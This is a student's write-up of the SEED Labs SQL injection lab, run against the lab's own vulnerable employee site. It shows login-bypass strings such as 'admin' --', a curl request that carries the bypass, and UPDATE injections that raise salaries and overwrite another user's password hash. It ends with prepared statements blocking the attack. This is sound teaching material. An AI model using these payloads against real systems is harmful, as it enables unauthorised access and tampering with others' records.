

SQL Injection Attack Lab

57119133张明璇

Start the Apache server: `$ sudo service apache2 start`

Task 1: Get Familiar with SQL Statements

Login to MySQL console: `$ mysql -u root -pseedubuntu`

```

seed@VM:~$ sudo service apache2 start
Password for seed:
seed@VM:~$ mysql -u root -pseedubuntu
[Warning] Using a password on the command line interface can be insecure.

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.7.19-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

MySQL is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

```

Load the existing database: *mysql> use Users;*

Print out all the tables: *mysql> show tables;*

Print all the profile information of Alice: *mysql> select * from credential where name = 'Alice';*

```
mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_Users |
+-----+
| credential      |
+-----+
1 row in set (0.00 sec)

mysql> select * from credential where name = 'Alice';
+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address |
| Email | NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | |
| | | fdb918bdae83000aa54747fc95fe0470fff4976 |
+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

Task 2: SQL Injection Attack on SELECT Statement

Task 2.1: SQL Injection Attack from webpage

USERNAME: admin' -- one more space at the end

Employee Profile Login

USERNAME

admin' --

PASSWORD

Password

Login

Copyright © SEED LABs

User Details

Username	EId	Salary	Birthday	SSN	Nickname	Email
Alice	10000	20000	9/20	10211002		
Boby	20000	30000	4/20	10213352		
Ryan	30000	50000	4/10	98993524		
Samy	40000	90000	1/11	32193525		
Ted	50000	110000	11/3	32111111		
Admin	99999	400000	3/5	43254314		

下面这个没看到有要求做

USERNAME: alice' or 0=0 -- one more space at the end

Employee Profile Login

USERNAME

alice' or 0=0 -- |

PASSWORD

Password

Login

Copyright © SEED LABs

Alice Profile

Key	Value
Employee ID	10000
Salary	20000
Birth	9/20
SSN	10211002
NickName	
Email	
Address	
Phone Number	

Task 2.2: SQL Injection Attack from command line

```
$ curl 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27+--+&Password='
```

```
[07/04/19] seed@vuln:~$ curl -H 'Host: www.seedlabsqlinjection.com' -X POST -d 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27+--+&Password=' http://www.seedlabsqlinjection.com/unsafe_home.php
!!--
SEED Lab: SQL Injection Education Web platform
```

```

<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li class='nav-item active'><a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></div></nav><div class='container'><br><h1 class='text-center'><b> User Details </b></h1><hr><br><table class='table table-striped table-bordered'><thead class='thead-dark'><tr><th scope='col'>Username</th><th scope='col'>EId</th><th scope='col'>Salary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>Nickname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>Ph. Number</th></tr></thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><td>20000</td><td>9/20</td><td>10211002</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Bobby</th><td>20000</td><td>30000</td><td>4/20</td><td>10213352</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th><td>30000</td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Samy</th><td>40000</td><td>90000</td><td>1/11</td><td>32193525</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>32111111</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>400000</td><td>3/5</td><td>43254314</td><td></td><td></td><td></td><td></td></tr></tbody></table>
<br><br>
<div class="text-center">
  <p>
    Copyright &copy; SEED LABS
  </p>
</div>
</div>
<script type="text/javascript">
function logout(){
  location.href = "logoff.php";
}
</script>
</body>
</html>[07/04/19] seed@VM: ~$ █

```

Task 2.3: Append a new SQL statement

MySQL does not allow two commas in the same line, so the login page will return to a error.

Observation and Explanation:

Task 1 and Task 2.1 & 2.2 are successful, task 2.3 is not due to the database using is MySQL. Because it doesn't allow to execute two queries sequentially in the same query function. So, by using semicolon (;) doesn't work to split one statement into two statements. For task 3.1&3.2&3.3, they are all successful. But noticed thing is that in task 2.3, to modify other's password, we need to hash password manually first before construct the injected SQL command.

Task 3: SQL Injection Attack on UPDATE Statement

Task 3.1: Modify your own salary

Login to Alice's account again, now we see the Alice's salary is 20000.

Alice Profile

Key	Value
Employee ID	10000
Salary	20000
Birth	9/20
SSN	10211002
NickName	
Email	
Address	
Phone Number	

Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Save

NickName: ', salary ='80000

Then the salary of Alice is changed to 80000

Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Save

Alice Profile

Key	Value
Employee ID	10000
Salary	80000
Birth	9/20
SSN	10211002
NickName	
Email	
Address	
Phone Number	

Task 3.2: Modify other people's salary

First, check Bobby's salary: `select * from credential;` Bobby's salary is 30000.

```
mysql> select * from credential;
```

ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address
1	Alice	10000	80000	9/20	10211002		
2	Boby	20000	30000	4/20	10213352		
3	Ryan	30000	50000	4/10	98993524		
4	Samy	40000	90000	1/11	32193525		
5	Ted	50000	110000	11/3	32111111		
6	Admin	99999	400000	3/5	43254314		

6 rows in set (0.00 sec)

To modify Bobby's salary: `', salary = '80000' where name = 'Boby';#`

Alice's Profile Edit

NickName

Email

Address

Phone Number

Password

Save

```
mysql> select * from credential;
```

ID	Name	EID	Salary	birth	SSN	PhoneNumber	Address
1	Alice	10000	80000	9/20	10211002		
2	Boby	20000	80000	4/20	10213352		
3	Ryan	30000	50000	4/10	98993524		
4	Samy	40000	90000	1/11	32193525		
5	Ted	50000	110000	11/3	32111111		
6	Admin	99999	400000	3/5	43254314		

6 rows in set (0.00 sec)

Now, we can see Bobby's salary is changed to 80000.

Task 3.3: Modify other people's password

Bobby's origin hashed password:

2	Boby	20000	30000	4/20	10213352
		b78ed97677c161c1c82c142906674ad15242b2d4			

I am trying to modify Bobby's password to "Jinfeng".

First, hash the new password with the following steps:

```
root@seed:~# python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> hashlib.sha1('jinfeng').hexdigest()
'b4756a3093a14f002c9a92f87d0d8cef89f9f5fb'
```

Same as modifying the salary, but this time is password: `' , password`
`= 'b4756a3093a14f002c9a92f87d0d8cef89f9f5fb' where name = 'Boby';#`

New hashed password updated:

2	Boby	20000	80000	4/20	10213352
		b4756a3093a14f002c9a92f87d0d8cef89f9f5fb			

Login with new password successfully!!!

Would you like Firefox to save this login for seedlabsqlinjection.com?

☒ Show password

Boby Profile

Key	Value
Employee ID	20000
Salary	80000
Birth	4/20
SSN	10213352
NickName	
Email	
Address	
Phone Number	

Task 4: Countermeasure — Prepared Statement

Go to SQLInjection folder first: `$ cd /var/www/SQLInjection`

```
seed@VM:~$ cd /var/www/SQLInjection
seed@VM:~/SQLInjection$ ls
safe_edit_backend.php  unsafe_edit_backend.php
safe_home.php          unsafe_edit_frontend.php
seed_login.php         unsafe_home.php
```

Open index.html, change line 36 from “unsafe_home.php” to “safe_home.php”.

```
36 <form action="unsafe_home.php" method="get">
```

Safe_home.php

```
73 $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address,
74 email,nickname,Password
75 FROM credential
76 WHERE name= ? and Password= ?");
77 $sql->bind_param("ss", $input_undef, $hashed_pwd);
78 $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $
    nickname, $pwd);
79 $sql->fetch();
80 $sql->close();
```

Change the website from unsafe to safe_home.php.

 www.seedlabsqlinjection.com/safe_home.php

Now, let's try to login again: *admin' or 0=0 --*

The account information your provide does not exist.

[Go back](#)

Failed.